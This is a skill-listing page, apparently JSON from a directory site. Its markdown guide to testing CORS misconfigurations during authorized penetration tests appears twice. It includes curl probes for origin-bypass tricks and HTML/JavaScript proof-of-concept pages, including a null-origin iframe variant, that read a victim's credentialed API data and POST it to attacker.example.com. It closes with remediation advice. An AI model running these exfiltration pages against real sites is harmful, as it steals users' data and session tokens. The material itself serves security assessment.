[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EWDC5WE232Z11X8PECPDJB":3,"skill-same:01M6EWDC5WE232Z11X8PECPDJB":109},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":6,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6EWDC5WE232Z11X8PECPDJB","testing-cors-misconfiguration",null,"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Ftesting-cors-misconfiguration\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing cors misconfiguration","misconfiguration","testing","cors","application-security","penetration","de","origin","domain","007","cm","access","t1505","web-application-security","t1003","owasp","data","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-cors-misconfiguration\ndescription: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations\n  that allow unauthorized cross-domain data access and credential theft during security\n  assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- cors\n- web-security\n- owasp\n- same-origin-policy\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1003\n---\n\n# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n","# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n",{"name":5,"tags":52,"author":57,"domain":45,"license":15,"version":58,"nist_csf":59,"subdomain":40,"description":7,"mitre_attack":64},[53,30,54,42,55,56],"penetration-testing","web-security","same-origin-policy","burpsuite","mahipal","1.0",[60,61,62,63],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[65,66,67,68,69],"T1190","T1059.007","T1505.003","T1083","T1003","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Ftesting-cors-misconfiguration","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill testing-cors-misconfiguration",{"tool":84,"command":85},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill testing-cors-misconfiguration",{"tool":87,"command":88},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill 